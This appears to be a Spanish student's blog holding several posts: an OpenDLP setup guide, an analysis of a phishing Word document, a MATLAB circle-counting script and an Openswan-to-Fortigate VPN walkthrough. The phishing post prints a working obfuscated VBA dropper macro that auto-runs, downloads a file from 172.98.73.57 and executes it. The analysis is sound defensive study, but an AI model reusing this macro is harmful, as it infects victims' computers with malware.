Un acercamiento a OpenDLP – I

Como parte de una tarea en la escuela me tope con OpenDLP que es una herramienta bastante potente en las cuestiones de prevención de perdida de datos, comparada con otras herramientas de software propietario OpenDLP destaca y aquí presentare brevemente desde su instalación hasta un par de ejemplos de lo potente que puede ser esta herramienta. Tiene la estructura del trabajo que presente y poco a poco lo iremos ampliando.

Se utilizo como marco de referencia principalmente estos dos artículos de los siguientes blogs:

Fuente del contenido: Security Art Work
http://www.securityartwork.es/2015/07/10/opendlp-para-pentesters/
Autor: Roberto Amado.

Fuente del contenido: INSEGUROS, seguridad y sistemas.
http://kinomakino.blogspot.mx/2015/03/opendlp-data-loss-prevention-open.html
Autor: Kino Makino.

Objetivo.

Realizar una prueba donde mediante un sistema de DLP se analice cierta información de archivos donde se busque mediante expresiones regulares información sensible como pueden ser datos bancarios o información clave de algún sistema de información.

Introducción.

¿Que es DLP?, la traducción de “Data Loss Prevention” es prevención de perdida de datos pero que datos queremos evitar perder y de que forma podemos detectar que los estamos perdiendo. Tres vectores principalmente se manejan para este tema y son: analizar, proteger e informar. Todo esto se conforma en estrategias en reglas de negocio catalogando la información para que se pueda asegurar en la medida de lo posible que los usuarios en un entorno corporativo o gubernamental puedan extraer y sobre todo enviar información sensible o critica fuera de la red a la que pertenece dicha información.

Normalmente se controla esto con análisis de contenido reportando incidencias de patrones de cierta información reportando al administrador posibles fugas de información o evitando que información que ha sido clasificada no pueda salir de la red gracias a que los sistemas que pueden realizar esto como podrían ser recursos compartidos, dispositivos extraíbles de almacenamiento y correo electrónico están configurados apropiadamente para bloquear cualquier tipo de información que pueda ser catalogada como sensible.

La cuestión de los datos de privacidad que se esta endureciendo cada vez más por cuestiones de normas y leyes, así como del incremento en los ataques informáticos hace que la forma de detectar los datos sensibles en una organización sea prioritario y ya que mucho del robo de información viene del personal interno hace que este tipo de herramientas tengan más énfasis en la red de una organización ya sea gubernamental o privada.

Normalmente los productos existentes en el mercado hacen énfasis en analizar el contenido de los archivos y es aquí donde por ejemplo desde el punto de vista bancario se hace mención a resguardar que la información de tarjetas o cuentas bancarias no se estén exponiendo o resguardando ya que leyes federales y normas bancarias internacionales prohíben que esta información este de manera sin cifrar o expuesta a usuarios que no intervienen en procesos de cobro por ejemplo.

Desarrollo.

OpenDLP es una suite de DLP con una interfaz web centralizada para gestionar los escáneres de uno o más sistemas de archivos de equipos Windows mediante un agente de red, escáneres de base de datos sin agente y también analizar sin agente sistemas de archivos de Windows/UNIX que identifican datos confidenciales e inactivos.

Instalar OpenDLP

Importar la máquina virtual

Descargamos la OVA de OpenDLP desde la siguiente dirección: https://code.google.com/archive/p/opendlp/, son siete archivos compresos en formato 7z que tenemos que descargar, descomprimimos el primero y se juntaran los siete fragmentos de la imagen para obtener el archivo para importar la máquina virtual.

Iniciamos la aplicación de VirtualBox para trabajar con la máquina virtual como se muestra en la imagen.

OpenDLP-01

OpenDLP-01

En el menú archivo seleccionamos la opción de importar Appliance.

OpenDLP-02

OpenDLP-02

Buscamos la imagen que descargamos en nuestro sistema de archivos.

OpenDLP-03

OpenDLP-03

Seleccionamos siguiente una vez que tiene ya la ruta de donde esta la imagen.

OpenDLP-04

OpenDLP-04

La configuración de la máquina virtual que se importa la dejamos así como esta.

OpenDLP-05

OpenDLP-05

Se empieza a importar la máquina virtual.

OpenDLP-06

OpenDLP-06

Máquina virtual importada y lista para iniciarse.

OpenDLP-07

OpenDLP-07

Podemos tener uno o dos errores al iniciar la máquina virtual. Uno de estos errores puede ser que el adaptador de red no coincida con el de nuestro equipo.

OpenDLP-08

OpenDLP-08

Y por ende la máquina no iniciaría y se cerraría.

OpenDLP-09

OpenDLP-09

También nos puede marcar error en la cuestión de que los puertos USB no estén implementados.

OpenDLP-10

OpenDLP-10

Para la cuestión del dispositivo USB debemos tener instalado el VirtualBox Extension Pack para solucionar este error, se puede descargar desde la propia pagina de VirtualBox.

OpenDLP-11

OpenDLP-11

Con respecto a la interfaz de red solamente debemos configurar apropiadamente el adaptador de red de la máquina virtual para que seleccione el adaptador físico adecuado de nuestro equipo host.

OpenDLP-12

OpenDLP-12

En la parte de configuración de la máquina virtual en la parte de red seleccionamos el adaptador y también la opción de Bridged Adapter para que funcione como un dispositivo adicional en la red lan y no dependa de la red de nuestro host.

OpenDLP-13

OpenDLP-13

Una vez realizado esto la máquina virtual iniciara correctamente.

OpenDLP-14

OpenDLP-14

Vemos que la máquina OpenDLP tiene el estado de running.

OpenDLP-15

OpenDLP-15

Configurar la máquina virtual

Una vez que la máquina virtual ha iniciado ingresamos con el usuario y contraseña predeterminado:

username:opendlp
password:opendlp

Se nos muestran los datos preliminares de la máquina virtual y la dirección IP que tomo mediante DHCP (en este caso).

OpenDLP-17

OpenDLP-17

Como primer paso vamos a cambiar la contraseña del usuario.

OpenDLP-18

OpenDLP-18

Realizado el paso anterior ahora ingresamos mediante SSH y empezaremos a realizar la ejecución de los pasos siguientes, a partir de ahora vamos a realizar todo esto desde el cliente de SSH.

OpenDLP-16

OpenDLP-16

Vamos a copiar el archivo llamado sc.exe a un directorio en la máquina virtual de OpenDLP, que por motivos de licenciamiento no puede ser incluido y vamos a obtenerlo desde un equipo con Windows XP.

OpenDLP-19

OpenDLP-19

Ya que obtuvimos el archivo sc.exe que esta dentro de C:\textbackslash Windows\textbackslash System32, lo tenemos que copiar al equipo de OpenDLP. El archivo sc.exe lo copiamos a la máquina virtual: $ scp sc.exe opendlp@192.168.11.86:/home/opendlp

Y en la máquina virtual este mismo archivo lo movemos al directorio /var/www/OpenDLP/bin/.
opendlp@opendlp:~$ sudo mv sc.exe /var/www/OpenDLP/bin/

Configurar el navegador web
Ahora necesitamos importar el archivo “client.p12” en nuestro navegador web, este archivo viene en el archivo que desempaquetamos previamente donde viene la máquina virtual por lo que iniciamos el navegador web Iceweasel.

Iceweasel-OpenDLP-01

Iceweasel-OpenDLP-01

En la esquina superior derecha seleccionamos la parte de opciones del navegador.

Iceweasel-OpenDLP-02

Iceweasel-OpenDLP-02

La parte general de las preferencias.

Iceweasel-OpenDLP-03

Iceweasel-OpenDLP-03

Seleccionamos la parte de preferencias avanzadas.

Iceweasel-OpenDLP-04

Iceweasel-OpenDLP-04

En la sección de preferencias avanzadas seleccionamos la pestaña de certificados y damos clic en el botón “”View Certificates“.

Iceweasel-OpenDLP-05

Iceweasel-OpenDLP-05

Se nos muestra una ventana que es el administrador de certificados y vamos a seleccionar la pestaña “Your Certificates“.

Iceweasel-OpenDLP-06

Iceweasel-OpenDLP-06

En esta pestaña seleccionamos el botón “Import“ para importar el certificado de OpenDLP llamado “client.p12“.

Iceweasel-OpenDLP-07

Iceweasel-OpenDLP-07

Este archivo viene compreso junto con la máquina virtual que descargamos por lo cual lo buscamos en nuestro sistema de archivos.

Iceweasel-OpenDLP-08

Iceweasel-OpenDLP-08

No tiene contraseña así que solo damos clic en Ok.

Iceweasel-OpenDLP-09

Iceweasel-OpenDLP-09

Se ha importado correctamente el certificado.

Iceweasel-OpenDLP-10

Iceweasel-OpenDLP-10

Ya importado el certificado se nos muestra en la parte de nuestros certificados del navegador web.

Iceweasel-OpenDLP-11

Iceweasel-OpenDLP-11

Al conectarnos por primera vez al servicio web del servicio de OpenDLP se nos presentara una ventana de dialogo donde el servicio solicita un método de autenticación mediante un certificado escogemos el certificado instalado y seleccionamos que recuerde esta decisión.

Iceweasel-OpenDLP-12

Iceweasel-OpenDLP-12

Al no ser un certificado emitido por una entidad autorizada el navegador nos mostrara una advertencia con respecto al sitio donde queremos realizar la conexión mediante el certificado.

Iceweasel-OpenDLP-13

Iceweasel-OpenDLP-13

Tenemos que agregar la excepción.

Iceweasel-OpenDLP-14

Iceweasel-OpenDLP-14

Confirmar la excepción de seguridad.

Iceweasel-OpenDLP-15

Iceweasel-OpenDLP-15

Al conectarnos nos pide un usuario y contraseña que de manera predeterminada son los siguientes datos: username: \textbf{dlpuser} y password: \textbf{OpenDLP}.

Iceweasel-OpenDLP-16

Iceweasel-OpenDLP-16

La pagina principal de OpenDLP.

Iceweasel-OpenDLP-17

Iceweasel-OpenDLP-17

Después de tantas imágenes vamos a generar algo más practico en la parte 2.

Bichitos de macros – I.

Como parte de una tarea en la escuela me dio curiosidad que es lo que sucedía con tanto correo que últimamente abunda en los buzones de los usuarios, que si correos de CFE, del SAT, de Aeroméxico ahora el ultimo que me ha llegado es uno haciendo alusión a Banamex. Por eso aquí relato el breve documento que redacte para mi tarea:

Mediante un ejemplo sencillo veremos como actúa un archivo malicioso que llega mediante correo electrónico y aprovechando la curiosidad del usuario al ejecutar el archivo este descarga un archivo malicioso.

En el ámbito informático el phishing que es la práctica de hacerse pasar por otra persona o entidad para obtener datos o causar algún daño está siendo aprovechada mediante el uso de herramientas tan tradicionales como el correo electrónico, sin embargo ya no se manda spam para ver si alguno de ellos lograba dar en el blanco, ahora ya el phishing es dirigido, mas sutil, mas concreto usando ingeniería social empieza a cambiar la forma en que se mandan estos correos por la forma en que los leemos. De miles de mensajes de spam es fácil descartar a la mayoría pero algo ya más dirigido, en concreto, usando un poco más de táctica puede ser que no sean tantos pero con más posibilidades de éxito.

Por ejemplo un correo proveniente del SAT en la cual hace mención a que tenemos problemas con nuestra situación fiscal, y cómo tener problemas con la autoridad fiscal de la nación no es poca cosa este correo aprovecha esa curiosidad de las personas por averiguar qué tan cierto es esto y es donde caen, son correos que forman parte de una campaña dirigida a los usuarios mexicanos ya que toman el nombre de empresas netamente con base nacional o instituciones gubernamentales como lo es el SAT, la CFE o Aeroméxico.

El código malicioso tiene tiempo rondando el área de la informática, si programas algo para realizar una tarea por qué no programar para realizar un tarea dañina, al fin y al cabo son programas. Hay tantos tipos de códigos maliciosos que se han creado múltiples categorías en los últimos años, se organizan en distintos rubros y también lo engloban para abarcar la mayoría de las miles de amenazas que circulan en la red, aunado a esto también las múltiples compañías que luchan contra estas mismas amenazas sacando productos, novedades de un lado y del otro.

Virus, gusanos, troyanos y ahora los famosos ransomware solo incrementan la familia de la ya larga historia de código malicioso que circula por la red, se pueden programar líneas de código en rutinas ya establecidas para aprovecharnos de algo, una base de datos, un sistema de almacenamiento de archivos, cualquier cosa está al alcance de la intrusión, modificación o destrucción mediante un código que hace su trabajo para dañar algo.

Vamos a ver un ejemplo de estos correos electrónicos que están surcando el internet.

Correo electrónico sospechoso.
Debug-SAT-2

Descargamos el archivo y lo guardamos en nuestro equipo.
Documento-01

Doble clic para ejecutar y sorpresa nos pide que habilitemos los macros del documento.
Documento-02

Incluso el documento trae todo un instructivo para hacer esto en diferentes versiones de Office y Windows.
Documento-03

Muy bien explicado.
Documento-04

Instrucciones.
Documento-05

Más instrucciones.
Documento-06

Aún mas instrucciones.
Documento-07

Seguimos con las instrucciones.
Documento-08

Si para este punto tomamos nota de las instrucciones para realizar lo que dice el documento es que de verdad nuestra curiosidad o ignorancia en temas de malware es fuerte, en este caso es curiosidad por ámbitos educativos.
Documento-09

Finalmente habilitamos los macros y tenemos una ventana de error.
Documento-10

Y se cierra el documento.
Documento-11

Pues nos mostró un error y ya, no paso nada ¿o sí? Vamos a verificar un poco el código que trae en la macro.

Debug-SAT-1

Para empezar esta algo rebuscado para ser simplemente un documento de Word, y logramos ver que hay hace referencia a una dirección IP (172.98.73.57) y a un archivo llamado logo.gif, este inofensivo archivo de Word está descargando otro archivo sin que se nos notifique esto.

El código de la macro:

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Private Declare Function ShellExecuteW Lib "shell32.dll" (ByVal oeF As Long, ByVal poDsNkd As Long, ByVal BupvpYgyL As Long, ByVal BzoLj As Long, ByVal LlFlP As Long, ByVal JoW As Long) As Long
Private Declare Function URLDownloadToFileA Lib "urlmon.dll" (ByVal HBMu As Long, ByVal ir As String, ByVal DCWF As String, ByVal PeOhklz As Long, ByVal Jnofqrtmg As Long) As Long
Sub Auto_Open()
Call mmzWhqeSzl
End Sub
Sub AutoOpen()
Call mmzWhqeSzl
End Sub
Sub Workbook_Open()
Call mmzWhqeSzl
End Sub
Public Function mmzWhqeSzl() As Integer
'other publication.
Call jHfMx("http://172.98.73.57/~linuxcloud32/w/logo.gif", Environ("APPData") & "\WORD.exe")
'Oswald allegedly meets Shaw, Ferrie and other operatives of the FBI and
'1968 - Assassination of Martin Luther King, Jr., in Memphis, Tennessee,
End Function
Private Function jHfMx(tJBtHI As String, ZtcWkDhUT As String) As String
'in-law, « Gary Kirstein, allegedly an undercover E. Howard Hunt; Thornley
'survivors and witnesses before National Transportation Safety Board (NTSB)
URLDownloadToFileA 0&, tJBtHI, ZtcWkDhUT, 0&, 0&
'Cancer Institute, and the AIDS epidemic.
'76 Marc Lutter: Sie kontrollieren alles!
'with altimeter and air data computer, malfunctioning of the runway visual
ShellExecuteW 0&, StrPtr("Open"), StrPtr(ZtcWkDhUT), StrPtr(""), StrPtr(""), 1
'that should be done is to close down all laboratories in this country that are
MsgBox Chr(69) & Chr(115) & "t" & Chr(101) & Chr(32) & Chr(100) & "o" & Chr(99) & Chr(117) & Chr(109) & "e" & Chr(110) & "t" & Chr(111) & Chr(32) & "n" & Chr(111) & " " & Chr(101) & "s" & Chr(32) & Chr(99) & Chr(111) & "m" & Chr(112) & "a" & Chr(116) & "i" & "b" & "l" & Chr(101) & Chr(32) & Chr(99) & "o" & "n" & Chr(32) & Chr(101) & Chr(115) & "t" & "e" & Chr(32) & "e" & Chr(113) & Chr(117) & "i" & Chr(112) & "o" & "." & vbCrLf & vbCrLf & "P" & "o" & Chr(114) & Chr(32) & Chr(102) & "a" & Chr(118) & Chr(111) & Chr(114) & " " & "i" & Chr(110) & "t" & Chr(101) & Chr(110) & "t" & Chr(101) & Chr(32) & "d" & Chr(101) & "s" & "d" & "e" & Chr(32) & "o" & Chr(116) & Chr(114) & "o" & Chr(32) & Chr(101) & "q" & Chr(117) & "i" & Chr(112) & Chr(111) & ".", vbCritical, Chr(69) & "q" & Chr(117) & "i" & "p" & Chr(111) & " " & Chr(110) & "o" & " " & Chr(99) & Chr(111) & "m" & Chr(112) & "a" & Chr(116) & "i" & Chr(98) & Chr(108) & Chr(101)   'attack; Richard Carr, JFK assassination witness about to testify in the Clay
Application.DisplayAlerts = False
'Little Big Horn. Bell patents telephone. Otto builds four-cycle gasoline engine.
'viruses in human tissue cultures. Cedric Mims, in 1981, said in a published
Application.Quit
'Bormann's a few days after articles appear with evidence he is alive in
End Function

¿Realmente se está descargando este archivo a nuestras espaldas?, vamos a verlo con unas capturas de red que le estuvimos haciendo al equipo desde donde descargamos el archivo, y con tan solo ejecutarlo la actividad hacia esa dirección se hizo presente.

Stream-Bicho-1

Si vemos un poco dentro de la trama de TCP ahí esta la descarga del archivo “logo.gif”

Stream-Bicho-2

Analizar el archivo.

Vamos a descargar ese archivo GIF en cuestión y lo mandamos a analizar por ejemplo a la pagina de virustotal que es parte de google que nos permite analizarlo con distintos motores de antivirus.

Este muchacho dista de ser simplemente un “GIF” coqueto.
Gif-Bicho-1

Comentarios de otros usuarios acerca del archivo.
Gif-Bicho-2

Muy sencillo ¿no?, sin embargo mucha gente está cayendo con este tipo de correos dirigidos principalmente a dominios empresariales, donde aprovechando la curiosidad de los usuarios y la falta de aplicaciones de antivirus en los equipos se está aprovechando una modalidad de malware tan vieja en las computadoras personales que son: los virus de macro que implementan un archivo oculto siendo estos un troyano que puede ser la puerta a amenazas más fuertes como el ransomware.

Un buen sistema de antivirus puede ayudar y también sistemas de filtrado web donde mediante bases de datos actualizadas de direcciones IP maliciosas puede ayudar a protegernos, tener respaldos de seguridad al día aunque al final lo principal es hacer conciencia al usuario para evitar este tipo de problemas.

Seguiremos con esto.

Pequeño ejercicio de contar con MATLAB – 1.

Tuve de tarea unos ejercicios con MATLAB para trabajar con imágenes y entre ellos esta el de contar ciertos objetos determinados de una imagen dada. Hay muchas formas de hacer esto pero partiremos de algo sencillo con la intención de poner algunos ejemplos mas complejos, por lo pronto vamos a limitarnos a contar los círculos de la siguiente imagen:

Circles

¿Fácil no?, cinco círculos negros, pero hay que hacer un pequeño script para que lo realicemos con MATLAB.

Nuestra imagen se llama: Circles.png y aquí el código en MATLAB para contar los círculos.

Leemos la imagen y la asignamos a la variable: Circles.

Circles=imread('Circles.png');

Convertimos en blanco y negro la imagen.

Circlesbw=not(im2bw(Circles));

Contamos con la función bwlabel y le pasamos ese parámetro a la variable N.

N=max(max(bwlabel(Circlesbw,8)));
imshow(Circlesbw)

El valor de N sera de cinco que es el número de círculos en la imagen.

La imagen en blanco y negro.

Circlesbw

El código completo:

Circles=imread('Circles.png');
Circlesbw=not(im2bw(Circles));
N=max(max(bwlabel(Circlesbw,8)));
imshow(Circlesbw)

Algo muy pequeño, luego abordaremos algo mas difícil.

Debian, Openswan y Fortigate – 1

Me preguntaron: ¿Es posible con un servidor Linux establecer una VPN IPsec contra un dispositivo Fortigate usando como enlace de Internet un servicio ADSL de TELMEX?

Según este enlace es posible: Using an Openswan client with FortiGate VPN, pero no me pareció tan sencillo como se menciona.

Los equipos Fortigate de la marca Fortinet tienen una interfaz gráfica cómoda que nos permite realizar dependiendo nuestras necesidades diversas VPN como PPTP, SSL e IPsec.

En este pequeño documento describiré la conexión de Openswan con un par de modelos Fortigate que son el 500 y el 600C. Lo realizare de una manera conforme me fui topando con diversos problemas de conexión.

Los parámetros serán los siguientes:

Cliente Debian Linux 7.2.0
Openswan versión 2.6.37
Fortigate 500 y 600C.
Enlace dedicado con IP publica del lado del firewall Fortinet.
Enlace de Internet ADSL Telmex Infinitum con IP dinámica.

El diagrama de red lo presento a continuación.

Diagrama de red.

Diagrama de red.

Tenemos una LAN con red 192.168.1.0/24 que es la red de una pequeña oficina que se necesita conectar a servicios que están en una oficina matriz con red 172.16.30.0/28.

Nombraremos a la red matriz como Iturbide y a la oficina remota como Guerrero.

Oficina Guerrero:

Equipos de la oficina (PC, Laptop, Impresoras): 192.168.10-30/24
Servidor Debian Linux con Openswan: 192.168.1.100.
Router ADSL: 192.168.1.254

Oficina Iturbide:

Equipos de la oficina (PC, Servidores, BD): 172.16.30.2-12/28
Equipo Fortigate 500: 172.16.30.1
IP publica: 200.xxx.xxx.xxx

Creación de la VPN en el equipo Fortigate 500.

Vamos a configurar la VPN en el equipo Fortigate mediante su interfaz web.

IPsec-FG-500-1

Creamos la fase 1.

Name Openswan_p1_Guerrero
Remote Gateway Dialup User
Local Interface external (WAN1)
Mode Main (ID protection)
Authentication Method Preshared Key
Pre-shared Key ConexionPruebas

IPsec-FG-500-2-2

Creamos la fase 2.

Name Openswan_p2_Guerrero
Phase 1 Openswan_p1_Guerrero

IPsec-FG-500-3

Con esto ya tenemos nuestra VPN configurada posteriormente agregaremos un par de detalles.

IPsec-FG-500-4

Creamos la red origen.

Name Red-Oficina-Iturbide
Type Subnet/IP Range
Subnet/IP Range 172.16.30.0/255.255.255.240
Interface port1 (internal)

IPsec-FG-500-6

Creamos la red destino.

Name Red-Oficina-Guerrero
Type Subnet/IP Range
Subnet/IP Range 192.168.1.0/255.255.255.0
Interface external (WAN1)

IPsec-FG-500-5

Vamos a crear la política.

Source Interface/Zone port1 (internal)
Source Address Red-Oficina-Iturbide
Destination Interface/Zone external (WAN1)
Destination Address Red-Oficina-Guerrero
Schedule always
Service ANY
Action IPSEC
VPN Tunnel Openswan_p1_Guerrero

IPsec-FG-500-7

Por el momento eso es todo lo que haremos en el dispositivo fortigate posteriormente realizaremos mas cambios.

Partimos de una instalación básica solamente con el servicio de SSH instalado, por lo cual instalaremos openswan junto con sus dependencias.

Verificamos el núcleo y la versión de nuestro sistema Debian.

root@debian-tester:~# uname -a
Linux debian-tester 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
root@debian-tester:~# cat /etc/issue.net
Debian GNU/Linux 7

Vamos a buscar los paquetes.

root@debian-tester:~# aptitude search openswan
p   openswan                                                                                - Internet Key Exchange daemon                                                                      
p   openswan-dbg                                                                            - Internet Key Exchange daemon - debugging symbols                                                  
p   openswan-doc                                                                            - Internet Key Exchange daemon - documentation                                                      
p   openswan-modules-dkms                                                                   - Internet Key Exchange daemon - DKMS source                                                        
p   openswan-modules-source                                                                 - Internet Key Exchange daemon - kernel module source

Instalamos la aplicación.

root@debian-tester:~# aptitude install openswan
The following NEW packages will be installed:
  bind9-host{a} ca-certificates{a} geoip-database{a} host{a} libbind9-80{a} libcap2{a} libclass-isa-perl{a} libcurl3{a} libdns88{a} libgeoip1{a} libisc84{a} libisccc80{a} libisccfg82{a} 
  libldap-2.4-2{a} liblwres80{a} librtmp0{a} libsasl2-2{a} libsasl2-modules{a} libssh2-1{a} libswitch-perl{a} libxml2{a} openssl{a} openswan perl{a} perl-modules{a} sgml-base{a} 
  xml-core{a} 
0 packages upgraded, 27 newly installed, 0 to remove and 0 not upgraded.
Need to get 14.8 MB of archives. After unpacking 48.2 MB will be used.
Do you want to continue? [Y/n/?] Y
Get: 1 http://security.debian.org/ wheezy/updates/main libcurl3 amd64 7.26.0-1+wheezy6 [331 kB]
Get: 2 http://ftp.de.debian.org/debian/ wheezy/main libcap2 amd64 1:2.22-1.2 [13.6 kB]
Get: 3 http://ftp.de.debian.org/debian/ wheezy/main libsasl2-2 amd64 2.1.25.dfsg1-6+deb7u1 [120 kB]
.
.
.
Setting up openswan (1:2.6.37-3) ...
ipsec_setup: Starting Openswan IPsec 2.6.37-g955aaafb-dirty...
ipsec_setup: No KLIPS support found while requested, desperately falling back to netkey
ipsec_setup: NETKEY support found. Use protostack=netkey in /etc/ipsec.conf to avoid attempts to use KLIPS. Attempting to continue with NETKEY
Setting up libclass-isa-perl (0.36-3) ...
.
.
.
Updating certificates in /etc/ssl/certs... 158 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....done.
Processing triggers for sgml-base ...

Verificamos el estado del servicio y por el momento no hay ningún túnel arriba.

root@debian-tester:~# /etc/init.d/ipsec status
IPsec running  - pluto pid: 4606
pluto pid 4606
No tunnels up

Tomando como referencia la documentación de la base de conocimientos de fortinet tenemos la siguiente configuración inicial:

conn office 
 #left side is home
 left=%defaultroute
 #right side is work
 #set right to vpn remote gateway
 right=xxx.xxx.xxx.xxx
 #set rightsubnet to remote network
 rightsubnet=172.20.120.0/24
 keyexchange=ike
 #auth=esp
 #auto=start
 authby=secret
 #specify encryption FortiGate VPN uses
 esp=3des
 #perfect forward secrecy (default yes)
 #pfs=no
 #optionally enable compression
 compress=yes

Crearemos un archivo llamado iturbide.conf dentro del directorio /etc/ipsec.d/ el cual tendrá el siguiente contenido cambiando las opciones adecuándolas a nuestro esquema de red.

root@debian-tester:~# cat /etc/ipsec.d/iturbide.conf
conn iturbide
 #left side is home
 left=%defaultroute
 #right side is work
 #set right to vpn remote gateway
 right=200.xxx.xxx.xxx
 #set rightsubnet to remote network
 rightsubnet=172.16.30.0/28
 keyexchange=ike
 #auth=esp
 #auto=start
 authby=secret
 #specify encryption FortiGate VPN uses
 esp=3des
 #perfect forward secrecy (default yes)
 #pfs=no
 #optionally enable compression
 compress=yes

Al final del archivo /etc/ipsec.secrets colocamos nuestra contraseña de la siguiente manera:

root@debian-tester:~# cat /etc/ipsec.secrets 
# This file holds shared secrets or RSA private keys for inter-Pluto
# authentication.  See ipsec_pluto(8) manpage, and HTML documentation.
 
# RSA private key for this host, authenticating it to any other host
# which knows the public part.  Suitable public keys, for ipsec.conf, DNS,
# or configuration of other implementations, can be extracted conveniently
# with "ipsec showhostkey".
 
# this file is managed with debconf and will contain the automatically created RSA keys
include /var/lib/openswan/ipsec.secrets.inc
 
: PSK "ConexionPruebas"

Reiniciamos el servicio de IPsec.

root@debian-tester:~# /etc/init.d/ipsec restart
ipsec_setup: Stopping Openswan IPsec...
ipsec_setup: Starting Openswan IPsec 2.6.37-g955aaafb-dirty...
ipsec_setup: No KLIPS support found while requested, desperately falling back to netkey
ipsec_setup: NETKEY support found. Use protostack=netkey in /etc/ipsec.conf to avoid attempts to use KLIPS. Attempting to continue with NETKEY

Si tenemos un error como el siguiente se debe a que existe un espacio o tabulador en la linea donde esta la opción de include /etc/ipsec.d/*.conf.

root@debian-tester:~# /etc/init.d/ipsec restart
failed to start openswan IKE daemon - the following error occured:
can not load config '/etc/ipsec.conf': /etc/ipsec.conf:41: syntax error, unexpected INCLUDE [include]
root@debian-tester:~# cat /etc/ipsec.conf | grep include
        include /etc/ipsec.d/*.conf
root@debian-tester:~# cat /etc/ipsec.conf | grep include
include /etc/ipsec.d/*.conf

Ahora iniciamos la VPN.

root@debian-tester:~# ipsec auto --add iturbide
root@debian-tester:~# ipsec auto --up iturbide
022 "iturbide": We cannot identify ourselves with either end of this connection.

Tenemos un error que es asociado a que no puede identificar nuestra correcta puerta de enlace, así que empezaremos a modificar un poco la configuración en la que nos basamos, cambiamos el parametro left y agregar leftsubnet que sera la red origen y lefnexthop que es nuestro puerta de enlace.

root@debian-tester:~# vim /etc/ipsec.d/iturbide.conf
left=192.168.1.100
leftsubnet=192.168.1.0/24
leftnexthop=192.168.1.254

Reiniciamos de nuevo.

root@debian-tester:~# /etc/init.d/ipsec restart

Volvemos a iniciar la conexión.

root@debian-tester:~# ipsec auto --add iturbide
root@debian-tester:~# ipsec auto --up iturbide
104 "iturbide" #1: STATE_MAIN_I1: initiate
003 "iturbide" #1: received Vendor ID payload [RFC 3947] method set to=109 
003 "iturbide" #1: received Vendor ID payload [Dead Peer Detection]
106 "iturbide" #1: STATE_MAIN_I2: sent MI2, expecting MR2
003 "iturbide" #1: NAT-Traversal: Result using RFC 3947 (NAT-Traversal): i am NATed
108 "iturbide" #1: STATE_MAIN_I3: sent MI3, expecting MR3
004 "iturbide" #1: STATE_MAIN_I4: ISAKMP SA established {auth=OAKLEY_PRESHARED_KEY cipher=oakley_3des_cbc_192 prf=oakley_sha group=modp1536}
117 "iturbide" #2: STATE_QUICK_I1: initiate
003 "iturbide" #2: ignoring informational payload, type IPSEC_RESPONDER_LIFETIME msgid=0cd368e8
004 "iturbide" #2: STATE_QUICK_I2: sent QI2, IPsec SA established tunnel mode {ESP=>0x10c29931 <0xfb540947 xfrm=3DES_0-HMAC_MD5 NATOA=none NATD=none DPD=none}

Logramos iniciar la conexión satisfactoriamente vamos a verificar el estado de la VPN.

root@debian-tester:~# ipsec auto --status
000 using kernel interface: netkey
000 interface lo/lo ::1
000 interface lo/lo 127.0.0.1
000 interface lo/lo 127.0.0.1
000 interface eth0/eth0 192.168.1.100
000 interface eth0/eth0 192.168.1.100
000 %myid = (none)
000 debug none
.
.
.
000  
000 "iturbide": 192.168.1.0/24===192.168.1.100<192.168.1.100>[+S=C]---192.168.1.254...200.xxx.xxx.xxx<200.xxx.xxx.xxx>[+S=C]===172.16.30.0/28; erouted; eroute owner: #2
000 "iturbide":     myip=unset; hisip=unset;
000 "iturbide":   ike_life: 3600s; ipsec_life: 28800s; rekey_margin: 540s; rekey_fuzz: 100%; keyingtries: 0
000 "iturbide":   policy: PSK+ENCRYPT+COMPRESS+TUNNEL+PFS+UP+IKEv2ALLOW+SAREFTRACK+lKOD+rKOD; prio: 24,28; interface: eth0; 
000 "iturbide":   newest ISAKMP SA: #1; newest IPsec SA: #2; 
000 "iturbide":   IKE algorithm newest: 3DES_CBC_192-SHA1-MODP1536
000 "iturbide":   ESP algorithms wanted: 3DES(3)_000-MD5(1)_000, 3DES(3)_000-SHA1(2)_000; flags=-strict
000 "iturbide":   ESP algorithms loaded: 3DES(3)_192-MD5(1)_128, 3DES(3)_192-SHA1(2)_160
000 "iturbide":   ESP algorithm newest: 3DES_000-HMAC_MD5; pfsgroup=<Phase1>
000  
000 #2: "iturbide":4500 STATE_QUICK_I2 (sent QI2, IPsec SA established); EVENT_SA_REPLACE in 27276s; newest IPSEC; eroute owner; isakmp#1; idle; import:admin initiate
000 #2: "iturbide" esp.10c29931@200.xxx.xxx.xxx esp.fb540947@192.168.1.100 tun.0@200.xxx.xxx.xxx tun.0@192.168.1.100 ref=0 refhim=4294901761
000 #1: "iturbide":4500 STATE_MAIN_I4 (ISAKMP SA established); EVENT_SA_REPLACE in 2471s; newest ISAKMP; lastdpd=1s(seq in:0 out:0); idle; import:admin initiate
000

El servicio ya nos indica que tenemos un túnel conectado.

root@debian-tester:~# /etc/init.d/ipsec status
IPsec running  - pluto pid: 9186
pluto pid 9186
1 tunnels up
some eroutes exist

Y tenemos trafico desde nuestro servidor al equipo fortigate.

root@debian-tester:~# ping 172.16.30.1
PING 172.16.30.1 (172.16.30.1) 56(84) bytes of data.
64 bytes from 172.16.30.1: icmp_req=1 ttl=255 time=26.6 ms
64 bytes from 172.16.30.1: icmp_req=2 ttl=255 time=25.8 ms
64 bytes from 172.16.30.1: icmp_req=3 ttl=255 time=27.7 ms
64 bytes from 172.16.30.1: icmp_req=4 ttl=255 time=28.6 ms
64 bytes from 172.16.30.1: icmp_req=5 ttl=255 time=31.9 ms
^C
--- 172.16.30.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4008ms
rtt min/avg/max/mdev = 25.895/28.167/31.957/2.112 ms

De igual manera el equipo fortigate puede alcanzar a nuestro servidor Openswan.

FGT5002803033352 # execute ping 192.168.1.100
PING 192.168.1.100 (192.168.1.100): 56 data bytes
64 bytes from 192.168.1.100: icmp_seq=0 ttl=64 time=28.7 ms
64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=28.5 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=26.9 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=64 time=27.8 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=64 time=25.8 ms
 
--- 192.168.1.100 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 25.8/27.5/28.7 ms

